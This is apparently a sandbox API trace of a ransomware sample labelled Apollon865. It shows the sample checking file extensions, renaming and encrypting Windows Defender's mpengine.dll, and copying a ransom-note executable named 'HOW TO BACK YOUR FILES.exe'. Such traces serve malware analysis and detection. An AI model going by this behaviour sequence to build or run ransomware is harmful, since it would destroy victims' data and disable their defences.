	[0079.690] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0079.690] lstrlenW (lpString="cma") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0079.690] lstrlenW (lpString="cpd") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0079.690] lstrlenW (lpString="dacpac") returned 6
	[0079.690] lstrcmpiW (lpString1="ne.dll", lpString2="dacpac") returned 1
	[0079.690] lstrlenW (lpString="dad") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0079.690] lstrlenW (lpString="dadiagrams") returned 10
	[0079.690] lstrcmpiW (lpString1="engine.dll", lpString2="dadiagrams") returned 1
	[0079.690] lstrlenW (lpString="daschema") returned 8
	[0079.690] lstrcmpiW (lpString1="gine.dll", lpString2="daschema") returned 1
	[0079.690] lstrlenW (lpString="db-journal") returned 10
	[0079.690] lstrcmpiW (lpString1="engine.dll", lpString2="db-journal") returned 1
	[0079.690] lstrlenW (lpString="db-shm") returned 6
	[0079.690] lstrcmpiW (lpString1="ne.dll", lpString2="db-shm") returned 1
	[0079.690] lstrlenW (lpString="db-wal") returned 6
	[0079.691] lstrcmpiW (lpString1="ne.dll", lpString2="db-wal") returned 1
	[0079.691] lstrlenW (lpString="dbc") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0079.691] lstrlenW (lpString="dbs") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0079.691] lstrlenW (lpString="dbt") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0079.691] lstrlenW (lpString="dbv") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0079.691] lstrlenW (lpString="dbx") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0079.691] lstrlenW (lpString="dcb") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0079.691] lstrlenW (lpString="dct") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0079.691] lstrlenW (lpString="dcx") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0079.691] lstrlenW (lpString="ddl") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0079.691] lstrlenW (lpString="dlis") returned 4
	[0079.691] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0079.691] lstrlenW (lpString="dp1") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0079.691] lstrlenW (lpString="dqy") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0079.691] lstrlenW (lpString="dsk") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0079.691] lstrlenW (lpString="dsn") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0079.691] lstrlenW (lpString="dtsx") returned 4
	[0079.691] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0079.691] lstrlenW (lpString="dxl") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0079.691] lstrlenW (lpString="eco") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0079.691] lstrlenW (lpString="ecx") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0079.691] lstrlenW (lpString="edb") returned 3
	[0079.691] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0079.692] lstrlenW (lpString="epim") returned 4
	[0079.692] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0079.692] lstrlenW (lpString="fcd") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0079.692] lstrlenW (lpString="fdb") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0079.692] lstrlenW (lpString="fic") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0079.692] lstrlenW (lpString="flexolibrary") returned 12
	[0079.692] lstrlenW (lpString="fm5") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0079.692] lstrlenW (lpString="fmp") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0079.692] lstrlenW (lpString="fmp12") returned 5
	[0079.692] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1
	[0079.692] lstrlenW (lpString="fmpsl") returned 5
	[0079.692] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1
	[0079.692] lstrlenW (lpString="fol") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0079.692] lstrlenW (lpString="fp3") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0079.692] lstrlenW (lpString="fp4") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0079.692] lstrlenW (lpString="fp5") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0079.692] lstrlenW (lpString="fp7") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0079.692] lstrlenW (lpString="fpt") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0079.692] lstrlenW (lpString="frm") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0079.692] lstrlenW (lpString="gdb") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0079.692] lstrlenW (lpString="gdb") returned 3
	[0079.692] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0079.692] lstrlenW (lpString="grdb") returned 4
	[0079.692] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0079.692] lstrlenW (lpString="gwi") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0079.693] lstrlenW (lpString="hdb") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0079.693] lstrlenW (lpString="his") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0079.693] lstrlenW (lpString="ib") returned 2
	[0079.693] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0079.693] lstrlenW (lpString="idb") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0079.693] lstrlenW (lpString="ihx") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0079.693] lstrlenW (lpString="itdb") returned 4
	[0079.693] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0079.693] lstrlenW (lpString="itw") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0079.693] lstrlenW (lpString="jet") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0079.693] lstrlenW (lpString="jtx") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0079.693] lstrlenW (lpString="kdb") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0079.693] lstrlenW (lpString="kexi") returned 4
	[0079.693] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0079.693] lstrlenW (lpString="kexic") returned 5
	[0079.693] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1
	[0079.693] lstrlenW (lpString="kexis") returned 5
	[0079.693] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1
	[0079.693] lstrlenW (lpString="lgc") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0079.693] lstrlenW (lpString="lwx") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0079.693] lstrlenW (lpString="maf") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0079.693] lstrlenW (lpString="maq") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0079.693] lstrlenW (lpString="mar") returned 3
	[0079.693] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0079.693] lstrlenW (lpString="marshal") returned 7
	[0079.693] lstrcmpiW (lpString1="ine.dll", lpString2="marshal") returned -1
	[0079.694] lstrlenW (lpString="mas") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0079.694] lstrlenW (lpString="mav") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0079.694] lstrlenW (lpString="maw") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0079.694] lstrlenW (lpString="mdbhtml") returned 7
	[0079.694] lstrcmpiW (lpString1="ine.dll", lpString2="mdbhtml") returned -1
	[0079.694] lstrlenW (lpString="mdn") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0079.694] lstrlenW (lpString="mdt") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0079.694] lstrlenW (lpString="mfd") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0079.694] lstrlenW (lpString="mpd") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0079.694] lstrlenW (lpString="mrg") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0079.694] lstrlenW (lpString="mud") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0079.694] lstrlenW (lpString="mwb") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0079.694] lstrlenW (lpString="myd") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0079.694] lstrlenW (lpString="ndf") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0079.694] lstrlenW (lpString="nnt") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0079.694] lstrlenW (lpString="nrmlib") returned 6
	[0079.694] lstrcmpiW (lpString1="ne.dll", lpString2="nrmlib") returned -1
	[0079.694] lstrlenW (lpString="ns2") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0079.694] lstrlenW (lpString="ns3") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0079.694] lstrlenW (lpString="ns4") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0079.694] lstrlenW (lpString="nsf") returned 3
	[0079.694] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0079.695] lstrlenW (lpString="nv") returned 2
	[0079.695] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0079.695] lstrlenW (lpString="nv2") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0079.695] lstrlenW (lpString="nwdb") returned 4
	[0079.695] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0079.695] lstrlenW (lpString="nyf") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0079.695] lstrlenW (lpString="odb") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0079.695] lstrlenW (lpString="odb") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0079.695] lstrlenW (lpString="oqy") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0079.695] lstrlenW (lpString="ora") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0079.695] lstrlenW (lpString="orx") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0079.695] lstrlenW (lpString="owc") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0079.695] lstrlenW (lpString="p96") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0079.695] lstrlenW (lpString="p97") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0079.695] lstrlenW (lpString="pan") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0079.695] lstrlenW (lpString="pdb") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0079.695] lstrlenW (lpString="pdm") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0079.695] lstrlenW (lpString="pnz") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0079.695] lstrlenW (lpString="qry") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0079.695] lstrlenW (lpString="qvd") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0079.695] lstrlenW (lpString="rbf") returned 3
	[0079.695] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0079.695] lstrlenW (lpString="rctd") returned 4
	[0079.696] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0079.696] lstrlenW (lpString="rod") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0079.696] lstrlenW (lpString="rodx") returned 4
	[0079.696] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0079.696] lstrlenW (lpString="rpd") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0079.696] lstrlenW (lpString="rsd") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0079.696] lstrlenW (lpString="sas7bdat") returned 8
	[0079.696] lstrcmpiW (lpString1="gine.dll", lpString2="sas7bdat") returned -1
	[0079.696] lstrlenW (lpString="sbf") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0079.696] lstrlenW (lpString="scx") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0079.696] lstrlenW (lpString="sdb") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0079.696] lstrlenW (lpString="sdc") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0079.696] lstrlenW (lpString="sdf") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0079.696] lstrlenW (lpString="sis") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0079.696] lstrlenW (lpString="spq") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0079.696] lstrlenW (lpString="te") returned 2
	[0079.696] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0079.696] lstrlenW (lpString="teacher") returned 7
	[0079.696] lstrcmpiW (lpString1="ine.dll", lpString2="teacher") returned -1
	[0079.696] lstrlenW (lpString="tmd") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0079.696] lstrlenW (lpString="tps") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0079.696] lstrlenW (lpString="trc") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0079.696] lstrlenW (lpString="trc") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0079.696] lstrlenW (lpString="trm") returned 3
	[0079.696] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0079.697] lstrlenW (lpString="udb") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0079.697] lstrlenW (lpString="udl") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0079.697] lstrlenW (lpString="usr") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0079.697] lstrlenW (lpString="v12") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0079.697] lstrlenW (lpString="vis") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0079.697] lstrlenW (lpString="vpd") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0079.697] lstrlenW (lpString="vvv") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0079.697] lstrlenW (lpString="wdb") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0079.697] lstrlenW (lpString="wmdb") returned 4
	[0079.697] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0079.697] lstrlenW (lpString="wrk") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0079.697] lstrlenW (lpString="xdb") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0079.697] lstrlenW (lpString="xld") returned 3
	[0079.697] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0079.697] lstrlenW (lpString="xmlff") returned 5
	[0079.697] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1
	[0079.697] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.Apollon865") returned 127
	[0079.697] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll.apollon865"), dwFlags=0x1) returned 1
	[0079.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.699] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=8199504) returned 1
	[0079.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.699] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0079.700] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.700] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.700] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d2050, lpName=0x0) returned 0x15c
	[0079.702] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x1d2050) returned 0x2bb0000
	[0079.975] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.976] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.976] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.976] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0079.994] CloseHandle (hObject=0x15c) returned 1
	[0079.994] CloseHandle (hObject=0x9c) returned 1
	[0079.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.003] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 0
	[0080.003] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.003] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0080.003] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates"
	[0080.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0080.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0080.003] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned 72
	[0080.003] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates"
	[0080.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.004] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.005] GetLastError () returned 0x0
	[0080.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.005] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.005] CloseHandle (hObject=0x10c) returned 1
	[0080.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.005] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.005] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.005] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.005] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.005] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.005] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.006] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.006] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.006] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.006] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.006] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f8c0270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.006] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
